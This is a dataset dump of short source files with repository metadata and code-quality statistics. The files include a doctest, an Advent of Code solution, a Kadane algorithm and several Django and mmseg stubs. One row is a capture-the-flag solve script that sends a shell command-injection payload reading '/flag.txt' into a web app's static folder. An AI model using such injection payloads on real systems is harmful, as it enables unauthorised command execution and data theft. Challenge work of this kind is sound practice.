hexsha
string | size
int64 | ext
string | lang
string | max_stars_repo_path
string | max_stars_repo_name
string | max_stars_repo_head_hexsha
string | max_stars_repo_licenses
list | max_stars_count
int64 | max_stars_repo_stars_event_min_datetime
string | max_stars_repo_stars_event_max_datetime
string | max_issues_repo_path
string | max_issues_repo_name
string | max_issues_repo_head_hexsha
string | max_issues_repo_licenses
list | max_issues_count
int64 | max_issues_repo_issues_event_min_datetime
string | max_issues_repo_issues_event_max_datetime
string | max_forks_repo_path
string | max_forks_repo_name
string | max_forks_repo_head_hexsha
string | max_forks_repo_licenses
list | max_forks_count
int64 | max_forks_repo_forks_event_min_datetime
string | max_forks_repo_forks_event_max_datetime
string | content
string | avg_line_length
float64 | max_line_length
int64 | alphanum_fraction
float64 | qsc_code_num_words_quality_signal
int64 | qsc_code_num_chars_quality_signal
float64 | qsc_code_mean_word_length_quality_signal
float64 | qsc_code_frac_words_unique_quality_signal
float64 | qsc_code_frac_chars_top_2grams_quality_signal
float64 | qsc_code_frac_chars_top_3grams_quality_signal
float64 | qsc_code_frac_chars_top_4grams_quality_signal
float64 | qsc_code_frac_chars_dupe_5grams_quality_signal
float64 | qsc_code_frac_chars_dupe_6grams_quality_signal
float64 | qsc_code_frac_chars_dupe_7grams_quality_signal
float64 | qsc_code_frac_chars_dupe_8grams_quality_signal
float64 | qsc_code_frac_chars_dupe_9grams_quality_signal
float64 | qsc_code_frac_chars_dupe_10grams_quality_signal
float64 | qsc_code_frac_chars_replacement_symbols_quality_signal
float64 | qsc_code_frac_chars_digital_quality_signal
float64 | qsc_code_frac_chars_whitespace_quality_signal
float64 | qsc_code_size_file_byte_quality_signal
float64 | qsc_code_num_lines_quality_signal
float64 | qsc_code_num_chars_line_max_quality_signal
float64 | qsc_code_num_chars_line_mean_quality_signal
float64 | qsc_code_frac_chars_alphabet_quality_signal
float64 | qsc_code_frac_chars_comments_quality_signal
float64 | qsc_code_cate_xml_start_quality_signal
float64 | qsc_code_frac_lines_dupe_lines_quality_signal
float64 | qsc_code_cate_autogen_quality_signal
float64 | qsc_code_frac_lines_long_string_quality_signal
float64 | qsc_code_frac_chars_string_length_quality_signal
float64 | qsc_code_frac_chars_long_word_length_quality_signal
float64 | qsc_code_frac_lines_string_concat_quality_signal
float64 | qsc_code_cate_encoded_data_quality_signal
float64 | qsc_code_frac_chars_hex_words_quality_signal
float64 | qsc_code_frac_lines_prompt_comments_quality_signal
float64 | qsc_code_frac_lines_assert_quality_signal
float64 | qsc_codepython_cate_ast_quality_signal
float64 | qsc_codepython_frac_lines_func_ratio_quality_signal
float64 | qsc_codepython_cate_var_zero_quality_signal
bool | qsc_codepython_frac_lines_pass_quality_signal
float64 | qsc_codepython_frac_lines_import_quality_signal
float64 | qsc_codepython_frac_lines_simplefunc_quality_signal
float64 | qsc_codepython_score_lines_no_logic_quality_signal
float64 | qsc_codepython_frac_lines_print_quality_signal
float64 | qsc_code_num_words
int64 | qsc_code_num_chars
int64 | qsc_code_mean_word_length
int64 | qsc_code_frac_words_unique
null | qsc_code_frac_chars_top_2grams
int64 | qsc_code_frac_chars_top_3grams
int64 | qsc_code_frac_chars_top_4grams
int64 | qsc_code_frac_chars_dupe_5grams
int64 | qsc_code_frac_chars_dupe_6grams
int64 | qsc_code_frac_chars_dupe_7grams
int64 | qsc_code_frac_chars_dupe_8grams
int64 | qsc_code_frac_chars_dupe_9grams
int64 | qsc_code_frac_chars_dupe_10grams
int64 | qsc_code_frac_chars_replacement_symbols
int64 | qsc_code_frac_chars_digital
int64 | qsc_code_frac_chars_whitespace
int64 | qsc_code_size_file_byte
int64 | qsc_code_num_lines
int64 | qsc_code_num_chars_line_max
int64 | qsc_code_num_chars_line_mean
int64 | qsc_code_frac_chars_alphabet
int64 | qsc_code_frac_chars_comments
int64 | qsc_code_cate_xml_start
int64 | qsc_code_frac_lines_dupe_lines
int64 | qsc_code_cate_autogen
int64 | qsc_code_frac_lines_long_string
int64 | qsc_code_frac_chars_string_length
int64 | qsc_code_frac_chars_long_word_length
int64 | qsc_code_frac_lines_string_concat
null | qsc_code_cate_encoded_data
int64 | qsc_code_frac_chars_hex_words
int64 | qsc_code_frac_lines_prompt_comments
int64 | qsc_code_frac_lines_assert
int64 | qsc_codepython_cate_ast
int64 | qsc_codepython_frac_lines_func_ratio
int64 | qsc_codepython_cate_var_zero
int64 | qsc_codepython_frac_lines_pass
int64 | qsc_codepython_frac_lines_import
int64 | qsc_codepython_frac_lines_simplefunc
int64 | qsc_codepython_score_lines_no_logic
int64 | qsc_codepython_frac_lines_print
int64 | effective
string | hits
int64 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
a1bc26c5df939b91616dd0d1ebae1eb47fc7bb75
| 1,294
|
py
|
Python
|
lab/lab03/tests/eq1.py
|
surajrampure/data-94-sp21
|
074543103579c28d796c681f78f3c38449825328
|
[
"BSD-3-Clause"
] | 1
|
2020-11-21T09:42:52.000Z
|
2020-11-21T09:42:52.000Z
|
lab/lab03/tests/eq1.py
|
surajrampure/data-94-sp21
|
074543103579c28d796c681f78f3c38449825328
|
[
"BSD-3-Clause"
] | null | null | null |
lab/lab03/tests/eq1.py
|
surajrampure/data-94-sp21
|
074543103579c28d796c681f78f3c38449825328
|
[
"BSD-3-Clause"
] | null | null | null |
test = { 'name': 'eq1',
'points': 0,
'suites': [ { 'cases': [ { 'code': '>>> best_salesperson(["Alice", "Bob", "Cam"], [3, 4, 1.25, 6, "Shift Change", 2, 4, 5.75, "Shift Change", 10, 2, .25, "Shift Change"]) == "Alice"\n'
'True',
'hidden': False,
'locked': False},
{ 'code': '>>> best_salesperson(["Alice", "Bob", "Cam"], [3, 4, 1.25, 6, "Shift Change", 2, 100, 5.75, "Shift Change", 10, 2, .25, "Shift Change"]) == "Bob"\n'
'True',
'hidden': False,
'locked': False},
{ 'code': '>>> best_salesperson(["Alice", "Bob", "Cam"], [3, 4, 1.25, 6, "Shift Change", 2, 4, 5.75, "Shift Change", 10, 2, 100.25, "Shift Change"]) == "Cam"\n'
'True',
'hidden': False,
'locked': False}],
'scored': True,
'setup': '',
'teardown': '',
'type': 'doctest'}]}
| 68.105263
| 197
| 0.309119
| 107
| 1,294
| 3.71028
| 0.327103
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| 0.765743
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| 0.697733
| 0.589421
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| 1,294
| 18
| 198
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|
0
| 4
|
a1c934db8541e5307ce0bd73da76d9c19aa5ed51
| 201
|
py
|
Python
|
deepmath/deephol/jup_predict/default/thm_emb.py
|
aahadley/deepmath
|
ad4426323be64bacd4a6727f1e48f4e54ee1e259
|
[
"Apache-2.0"
] | 8
|
2019-12-12T19:13:28.000Z
|
2021-08-08T09:29:35.000Z
|
deepmath/deephol/jup_predict/default/thm_emb.py
|
aahadley/deepmath
|
ad4426323be64bacd4a6727f1e48f4e54ee1e259
|
[
"Apache-2.0"
] | null | null | null |
deepmath/deephol/jup_predict/default/thm_emb.py
|
aahadley/deepmath
|
ad4426323be64bacd4a6727f1e48f4e54ee1e259
|
[
"Apache-2.0"
] | 2
|
2020-10-02T11:55:03.000Z
|
2021-09-26T23:53:25.000Z
|
import numpy as np
def _batch_thm_embedding(predictor, thms):
"""From a list of string theorems, compute and return their embeddings."""
return np.array([[thm.__hash__(), 1] for thm in thms])
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0
| 4
|
a1e5a5b6df5096dd4266721762f28fab82489669
| 7,143
|
py
|
Python
|
day12pt2.py
|
AndrewstheBuilder/AdventofCode2020
|
7e32270f74809b3fd6c5e611f8d05ba1b779d35b
|
[
"MIT"
] | null | null | null |
day12pt2.py
|
AndrewstheBuilder/AdventofCode2020
|
7e32270f74809b3fd6c5e611f8d05ba1b779d35b
|
[
"MIT"
] | null | null | null |
day12pt2.py
|
AndrewstheBuilder/AdventofCode2020
|
7e32270f74809b3fd6c5e611f8d05ba1b779d35b
|
[
"MIT"
] | null | null | null |
import fileinput, re
# if I had said east, north was positive and west and south were negative my implementation would have been easier
def checkD( d1, d2, f, n ):
if( f[0] == 'E' ):
if( d1[0] == 'E' ):
d1[1] += f[1] * int(n)
elif( d1[0] == 'W' ):
d1[1] -= f[1] * int(n)
if( d1[1] < 0 ):
d1[0] = 'E'
d1[1] *= -1
elif( f[0] == 'W' ):
if( d1[0] == 'W' ):
d1[1] += f[1] * int(n)
elif( d1[0] == 'E' ):
d1[1] -= f[1] * int(n)
if( d1[1] < 0 ):
d1[0] = 'W'
d1[1] *= -1
elif( f[0] == 'N' ):
if( d2[0] == 'N' ):
d2[1] += f[1] * int(n)
elif( d2[0] == 'S' ):
d2[1] -= f[1] * int(n)
if( d2[1] < 0 ):
d2[0] = 'N'
d2[1] *= -1
elif( f[0] == 'S' ):
if( d2[0] == 'S' ):
d2[1] += f[1] * int(n)
elif( d2[0] == 'N' ):
d2[1] -= f[1] * int(n)
if( d2[1] < 0 ):
d2[0] = 'S'
d2[1] *= -1
if( f[2] == 'N' ):
if( d2[0] == 'N' ):
d2[1] += f[3] * int(n)
elif( d2[0] == 'S' ):
d2[1] -= f[3] * int(n)
if( d2[1] < 0 ):
d2[0] = 'N'
d2[1] *= -1
elif( f[2] == 'S' ):
if( d2[0] == 'S' ):
d2[1] += f[3] * int(n)
elif( d2[0] == 'N' ):
d2[1] -= f[3] * int(n)
if( d2[1] < 0 ):
d2[0] = 'S'
d2[1] *= -1
elif( f[2] == 'E' ):
if( d1[0] == 'E' ):
d1[1] += f[3] * int(n)
elif( d1[0] == 'W' ):
d1[1] -= f[3] * int(n)
if( d1[1] < 0 ):
d1[0] = 'E'
d1[1] *= -1
elif( f[2] == 'W' ):
if( d1[0] == 'W' ):
d1[1] += f[3] * int(n)
elif( d1[0] == 'E' ):
d1[1] -= f[3] * int(n)
if( d1[1] < 0 ):
d1[0] = 'W'
d1[1] *= -1
def main():
a = []
for line in fileinput.input():
a.append(line)
f = ['E', 10, 'N', 1] #waypoint: f[0:1] stores east waypoint intially, f[2:3] stores north waypoint intially
comp = [0, 270] #my compass: east:0 degrees, west:180, south:90, and north:270 degrees
#(comp[0] corresponds to f[0:1] and comp[1] corresponds to f[2:3])
#distance ship has traveled
d1 = ['E', 0 ] #stores east/west
d2 = ['N', 0] #stores north/south
for i in range( 0, len(a) ):
if( a[i][0] == 'F' ):
checkD(d1,d2,f,a[i][1:])
elif( a[i][0] == 'E' ):
if( f[0] == 'E' ):
f[1] += int(a[i][1:])
elif( f[0] == 'W' ):
f[1] -= int(a[i][1:])
if( f[1] < 0 ):
f[0] = 'E'
comp[0] = 0
f[1] *= -1
elif( f[2] == 'E' ):
f[3] += int(a[i][1:])
elif( f[2] == 'W' ):
f[3] -= int(a[i][1:])
if( f[3] < 0 ):
f[2] = 'E'
comp[1] = 0
f[3] *= -1
elif( a[i][0] == 'W' ):
if( f[0] == 'W' ):
f[1] += int(a[i][1:])
elif( f[0] == 'E' ):
f[1] -= int(a[i][1:])
if( f[1] < 0 ):
f[0] = 'W'
comp[0] = 180
f[1] *= -1
elif( f[2] == 'W' ):
f[3] += int(a[i][1:])
elif( f[2] == 'E' ):
f[3] -= int(a[i][1:])
if( f[3] < 0 ):
f[2] = 'W'
comp[1] = 180
f[3] *= -1
elif( a[i][0] == 'N' ):
if( f[2] == 'N' ):
f[3] += int(a[i][1:])
elif( f[2] == 'S' ):
f[3] -= int(a[i][1:])
if( f[3] < 0 ):
f[2] = 'N'
comp[1] = 270
f[3] *= -1
elif( f[0] == 'N' ):
f[1] += int(a[i][1:])
elif( f[0] == 'S' ):
f[1] -= int(a[i][1:])
if( f[1] < 0 ):
f[0] = 'N'
comp[0] = 270
f[1] *= -1
elif( a[i][0] == 'S' ):
if( f[2] == 'S' ):
f[3] += int(a[i][1:])
elif( f[2] == 'N' ):
f[3] -= int(a[i][1:])
if( f[3] < 0 ):
f[2] = 'S'
comp[1] = 90
f[3] *= -1
elif( f[0] == 'S' ):
f[1] += int(a[i][1:])
elif( f[0] == 'N' ):
f[1] -= int(a[i][1:])
if( f[1] < 0 ):
f[0] = 'S'
comp[0] = 90
f[1] *= -1
elif( a[i][0] == 'R' ):
comp[0] += int(a[i][1:])
comp[1] += int(a[i][1:])
comp[0] = comp[0] % 360
comp[1] = comp[1] % 360
if( comp[0] == 0 ):
f[0] = 'E'
elif( comp[0] == 90 ):
f[0] = 'S'
elif( comp[0] == 180 ):
f[0] = 'W'
elif( comp[0] == 270 ):
f[0] = 'N'
if( comp[1] == 0 ):
f[2] = 'E'
elif( comp[1] == 90 ):
f[2] = 'S'
elif( comp[1] == 180 ):
f[2] = 'W'
elif( comp[1] == 270 ):
f[2] = 'N'
elif( a[i][0] == 'L' ):
comp[0] -= int(a[i][1:])
comp[0] += 360
comp[0] = comp[0] % 360
comp[1] -= int(a[i][1:])
comp[1] += 360
comp[1] = comp[1] % 360
if( comp[0] == 0 ):
f[0] = 'E'
elif( comp[0] == 90 ):
f[0] = 'S'
elif( comp[0] == 180 ):
f[0] = 'W'
elif( comp[0] == 270 ):
f[0] = 'N'
if( comp[1] == 0 ):
f[2] = 'E'
elif( comp[1] == 90 ):
f[2] = 'S'
elif( comp[1] == 180 ):
f[2] = 'W'
elif( comp[1] == 270 ):
f[2] = 'N'
print( 'For instruction:',a[i],end="" )
print("Waypoint:", f, "Ship after instruction:", d1, d2 )
print("Compass:", comp )
print()
print('Answer:' + str(d1[1] + d2[1]) )
#print( f, d1, d2, comp )
main()
"""
Block Comment
"""
| 33.535211
| 115
| 0.245415
| 887
| 7,143
| 1.976325
| 0.0823
| 0.033086
| 0.035938
| 0.068454
| 0.616657
| 0.611523
| 0.597262
| 0.53166
| 0.517969
| 0.381061
| 0
| 0.130867
| 0.549629
| 7,143
| 212
| 116
| 33.693396
| 0.41405
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| 1
| 0.010256
| false
| 0.005128
| 0.005128
| 0
| 0.015385
| 0.025641
| 0
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| null | 0
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| null | 0
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| 0
|
0
| 4
|
a1f18fdf82ae5fd7a4db801e0caa6efc7e43ad9d
| 82
|
py
|
Python
|
cylon/helpers.py
|
clamytoe/Cylon
|
243258e553002dc65803f1cc3ada711407685859
|
[
"MIT"
] | 4
|
2018-03-24T07:02:29.000Z
|
2018-05-14T02:06:06.000Z
|
cylon/helpers.py
|
clamytoe/Cylon
|
243258e553002dc65803f1cc3ada711407685859
|
[
"MIT"
] | 2
|
2018-03-26T16:16:27.000Z
|
2018-05-14T19:05:51.000Z
|
cylon/helpers.py
|
clamytoe/Cylon
|
243258e553002dc65803f1cc3ada711407685859
|
[
"MIT"
] | 1
|
2018-03-26T16:06:05.000Z
|
2018-03-26T16:06:05.000Z
|
def prev(obj):
"""Workaround to improve workflow"""
return obj.__prev__()
| 20.5
| 40
| 0.658537
| 10
| 82
| 5
| 0.8
| 0
| 0
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| 0.195122
| 82
| 3
| 41
| 27.333333
| 0.757576
| 0.365854
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| 0
| 0
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| 1
| 0.5
| false
| 0
| 0
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| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
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| 0
| 0
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| 1
| 0
| 0
| 0
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| 0
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| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 1
| 0
|
0
| 4
|
b80d2a2d561e316266725b1e15ab847b4b14988d
| 216
|
py
|
Python
|
in_memory/redis/fields.py
|
oldcai/django-in-memory-models
|
c997c50e79bd30910a3f7b0c5230f98cadf594fd
|
[
"MIT"
] | 1
|
2020-09-29T22:06:17.000Z
|
2020-09-29T22:06:17.000Z
|
in_memory/redis/fields.py
|
oldcai/django-in-memory-models
|
c997c50e79bd30910a3f7b0c5230f98cadf594fd
|
[
"MIT"
] | null | null | null |
in_memory/redis/fields.py
|
oldcai/django-in-memory-models
|
c997c50e79bd30910a3f7b0c5230f98cadf594fd
|
[
"MIT"
] | null | null | null |
from django.db.models import Field
from in_memory.fields import InMemoryFieldMixin
from in_memory.redis.models import RedisSorter
class RedisSortedIntegerField(InMemoryFieldMixin, Field):
_class = RedisSorter
| 24
| 57
| 0.837963
| 25
| 216
| 7.12
| 0.56
| 0.134831
| 0.134831
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.115741
| 216
| 8
| 58
| 27
| 0.931937
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.6
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
|
0
| 4
|
b820750ec179551d93a613624e96abbbbd3e8ce2
| 131
|
py
|
Python
|
quince/main.py
|
DnrkasEFF/quince
|
89b5699a63642fd1ed172b566670b4dd8a2f8e18
|
[
"MIT"
] | null | null | null |
quince/main.py
|
DnrkasEFF/quince
|
89b5699a63642fd1ed172b566670b4dd8a2f8e18
|
[
"MIT"
] | null | null | null |
quince/main.py
|
DnrkasEFF/quince
|
89b5699a63642fd1ed172b566670b4dd8a2f8e18
|
[
"MIT"
] | null | null | null |
"""
Starting point for the graphical Quince app.
"""
from quince.ui.start_gui import start
if __name__ == "__main__":
start()
| 16.375
| 44
| 0.70229
| 18
| 131
| 4.611111
| 0.833333
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.175573
| 131
| 7
| 45
| 18.714286
| 0.768519
| 0.335878
| 0
| 0
| 0
| 0
| 0.101266
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.333333
| 0
| 0.333333
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 4
|
62d68d3824fd6d0c5d2d2063613b58a6f18a1bc2
| 435
|
py
|
Python
|
PYTHON/kadane_algo.py
|
winxter17/hacktoberfest-2021
|
a19bb009240a8b7a8608e4bc84d4d35241e426f7
|
[
"MIT"
] | null | null | null |
PYTHON/kadane_algo.py
|
winxter17/hacktoberfest-2021
|
a19bb009240a8b7a8608e4bc84d4d35241e426f7
|
[
"MIT"
] | null | null | null |
PYTHON/kadane_algo.py
|
winxter17/hacktoberfest-2021
|
a19bb009240a8b7a8608e4bc84d4d35241e426f7
|
[
"MIT"
] | null | null | null |
def maxSubArraySum(a,size):
max_so_far = -2**31
max_ending_here = 0
for i in range(0, size):
max_ending_here = max_ending_here + a[i]
if (max_so_far < max_ending_here):
max_so_far = max_ending_here
if max_ending_here < 0:
max_ending_here = 0
return max_so_far
a=list(input())
size=len(a)
print "Maximum subarray sum = ", maxSubArraySum(a,size)
| 27.1875
| 55
| 0.6
| 66
| 435
| 3.621212
| 0.378788
| 0.263598
| 0.380753
| 0.175732
| 0.175732
| 0.175732
| 0
| 0
| 0
| 0
| 0
| 0.023256
| 0.308046
| 435
| 16
| 55
| 27.1875
| 0.770764
| 0
| 0
| 0.153846
| 0
| 0
| 0.054632
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | null | 0
| 0
| null | null | 0.076923
| 0
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
62dc80f777dba58b34cdf2f5838002dc201dba3b
| 302
|
py
|
Python
|
payment_gateway/urls.py
|
macbotxxx/djcutter
|
01ac91e44063f3ee43302178ccb2df46a9c6b717
|
[
"MIT"
] | null | null | null |
payment_gateway/urls.py
|
macbotxxx/djcutter
|
01ac91e44063f3ee43302178ccb2df46a9c6b717
|
[
"MIT"
] | 1
|
2022-03-30T14:22:45.000Z
|
2022-03-30T14:22:45.000Z
|
payment_gateway/urls.py
|
macbotxxx/djcutter
|
01ac91e44063f3ee43302178ccb2df46a9c6b717
|
[
"MIT"
] | null | null | null |
from django.contrib.staticfiles.urls import urlpatterns
from django.urls import path
from . import views
urlpatterns = [
path('',views.initiate_payment, name='home'),
path('about/',views.initiate_payment, name='about'),
path('<str:ref>/',views.verify_payment, name='verify-payment'),
]
| 33.555556
| 67
| 0.718543
| 38
| 302
| 5.631579
| 0.447368
| 0.154206
| 0.186916
| 0.224299
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.125828
| 302
| 9
| 68
| 33.555556
| 0.810606
| 0
| 0
| 0
| 0
| 0
| 0.128713
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.375
| 0
| 0.375
| 0
| 0
| 0
| 0
| null | 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
|
0
| 4
|
62eae94425a9fbf26002b8d3338927c17ad60163
| 303
|
py
|
Python
|
python/data/__init__.py
|
RECCAP2-ocean/scripts
|
a8af6552f025d0b698787de2e4abf0a76559aab2
|
[
"MIT"
] | null | null | null |
python/data/__init__.py
|
RECCAP2-ocean/scripts
|
a8af6552f025d0b698787de2e4abf0a76559aab2
|
[
"MIT"
] | 1
|
2022-03-18T16:58:40.000Z
|
2022-03-18T16:58:40.000Z
|
python/data/__init__.py
|
RECCAP2-ocean/scripts
|
a8af6552f025d0b698787de2e4abf0a76559aab2
|
[
"MIT"
] | 2
|
2022-03-04T09:03:46.000Z
|
2022-03-11T10:07:34.000Z
|
from . load_data import get_fnames_recursive_search, open_reccap2_ocean_data, conform_dataset
from . save_data import save_dataset_with_compression
from . load_regions import get_reccap2ocean_regions, get_southern_ocean_subregions
from . download import download
regions = get_reccap2ocean_regions()
| 33.666667
| 93
| 0.871287
| 41
| 303
| 5.95122
| 0.512195
| 0.065574
| 0.180328
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.010949
| 0.09571
| 303
| 8
| 94
| 37.875
| 0.879562
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.8
| 0
| 0.8
| 0
| 0
| 0
| 0
| null | 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
|
0
| 4
|
1a077d2f1fd8889b8f60851cb7940ec8abc28567
| 420
|
py
|
Python
|
mmseg/core/__init__.py
|
rehohoho/mmsegmentation
|
a73ae7a421e07741fda62c9d81b335cbc4b7f7d6
|
[
"Apache-2.0"
] | 1
|
2022-03-07T19:46:03.000Z
|
2022-03-07T19:46:03.000Z
|
mmseg/core/__init__.py
|
rehohoho/mmsegmentation
|
a73ae7a421e07741fda62c9d81b335cbc4b7f7d6
|
[
"Apache-2.0"
] | 2
|
2022-02-25T03:07:23.000Z
|
2022-03-08T12:54:05.000Z
|
mmseg/core/__init__.py
|
rehohoho/mmsegmentation
|
a73ae7a421e07741fda62c9d81b335cbc4b7f7d6
|
[
"Apache-2.0"
] | 1
|
2022-02-14T09:44:41.000Z
|
2022-02-14T09:44:41.000Z
|
# Copyright (c) OpenMMLab. All rights reserved.
from .builder import (OPTIMIZER_BUILDERS, build_optimizer,
build_optimizer_constructor)
from .evaluation import * # noqa: F401, F403
from .optimizers import * # noqa: F401, F403
from .seg import * # noqa: F401, F403
from .utils import * # noqa: F401, F403
__all__ = [
'OPTIMIZER_BUILDERS', 'build_optimizer', 'build_optimizer_constructor'
]
| 35
| 74
| 0.704762
| 48
| 420
| 5.916667
| 0.416667
| 0.197183
| 0.197183
| 0.253521
| 0.626761
| 0.394366
| 0.394366
| 0
| 0
| 0
| 0
| 0.071217
| 0.197619
| 420
| 11
| 75
| 38.181818
| 0.771513
| 0.269048
| 0
| 0
| 0
| 0
| 0.199336
| 0.089701
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.555556
| 0
| 0.555556
| 0
| 0
| 0
| 0
| null | 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
|
0
| 4
|
1a2291b4a933671cb52db7d0a48e2aa5817d1aca
| 415
|
py
|
Python
|
common/gateways/notification.py
|
rkisdp/rkisdp.django.backend
|
771481cdeea6a101305c4819b06b839266ce6921
|
[
"MIT"
] | null | null | null |
common/gateways/notification.py
|
rkisdp/rkisdp.django.backend
|
771481cdeea6a101305c4819b06b839266ce6921
|
[
"MIT"
] | null | null | null |
common/gateways/notification.py
|
rkisdp/rkisdp.django.backend
|
771481cdeea6a101305c4819b06b839266ce6921
|
[
"MIT"
] | null | null | null |
# python imports
from __future__ import unicode_literals
# project imports
from common.models import Notification as NotificationModel
def get_notification(pk: int, user_id: int, type: str):
return NotificationModel.objects.get(pk=pk, user_id=user_id, type=type)
def filter_by_user_and_type(user_id: int, type: str):
return NotificationModel.objects.filter_by_user_and_type(user_id=user_id, type=type)
| 29.642857
| 88
| 0.804819
| 63
| 415
| 4.984127
| 0.412698
| 0.11465
| 0.057325
| 0.082803
| 0.541401
| 0.541401
| 0.433121
| 0.292994
| 0
| 0
| 0
| 0
| 0.115663
| 415
| 13
| 89
| 31.923077
| 0.855586
| 0.072289
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.333333
| false
| 0
| 0.333333
| 0.333333
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 1
| 1
| 0
|
0
| 4
|
c54e6fdb7ff4eb2a3e8e911beee1f37d2cf9d160
| 160
|
py
|
Python
|
polyparser/examples1.py
|
cmu-mars/marspolyparser
|
6e4b596394ee0fffae9d9218018f32ad7d9c93ea
|
[
"MIT"
] | null | null | null |
polyparser/examples1.py
|
cmu-mars/marspolyparser
|
6e4b596394ee0fffae9d9218018f32ad7d9c93ea
|
[
"MIT"
] | null | null | null |
polyparser/examples1.py
|
cmu-mars/marspolyparser
|
6e4b596394ee0fffae9d9218018f32ad7d9c93ea
|
[
"MIT"
] | null | null | null |
from func_util import function_utilities
poly = function_utilities.PolyGen()
poly_example = poly.generatepoly(("x", "y"), [0, 10], 3, 10)
print(poly_example)
| 22.857143
| 60
| 0.74375
| 23
| 160
| 4.956522
| 0.695652
| 0.298246
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.042254
| 0.1125
| 160
| 7
| 61
| 22.857143
| 0.760563
| 0
| 0
| 0
| 1
| 0
| 0.012422
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.25
| 0
| 0.25
| 0.25
| 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
c57173826fa48d31e78f1fb9f148774bcb2fdfc2
| 269
|
py
|
Python
|
web/web-lemonthinker/solve.py
|
NoXLaw/RaRCTF2021-Challenges-Public
|
1a1b094359b88f8ebbc83a6b26d27ffb2602458f
|
[
"MIT"
] | 2
|
2021-08-09T17:08:12.000Z
|
2021-08-09T17:08:17.000Z
|
web/web-lemonthinker/solve.py
|
NoXLaw/RaRCTF2021-Challenges-Public
|
1a1b094359b88f8ebbc83a6b26d27ffb2602458f
|
[
"MIT"
] | null | null | null |
web/web-lemonthinker/solve.py
|
NoXLaw/RaRCTF2021-Challenges-Public
|
1a1b094359b88f8ebbc83a6b26d27ffb2602458f
|
[
"MIT"
] | 1
|
2021-10-09T16:51:56.000Z
|
2021-10-09T16:51:56.000Z
|
import requests
import sys
import random
url = sys.argv[1]
filename = str(random.randrange(1000))
requests.post(url+"generate", {"text":f"$(echo \"$(cat /flag.txt)\" > /app/static/images/{filename})"})
r = requests.get(url + "static/images/" + filename)
print(r.text)
| 26.9
| 103
| 0.69145
| 39
| 269
| 4.769231
| 0.641026
| 0.129032
| 0.215054
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.020661
| 0.100372
| 269
| 9
| 104
| 29.888889
| 0.747934
| 0
| 0
| 0
| 1
| 0
| 0.249071
| 0.111524
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.375
| 0
| 0.375
| 0.125
| 0
| 0
| 0
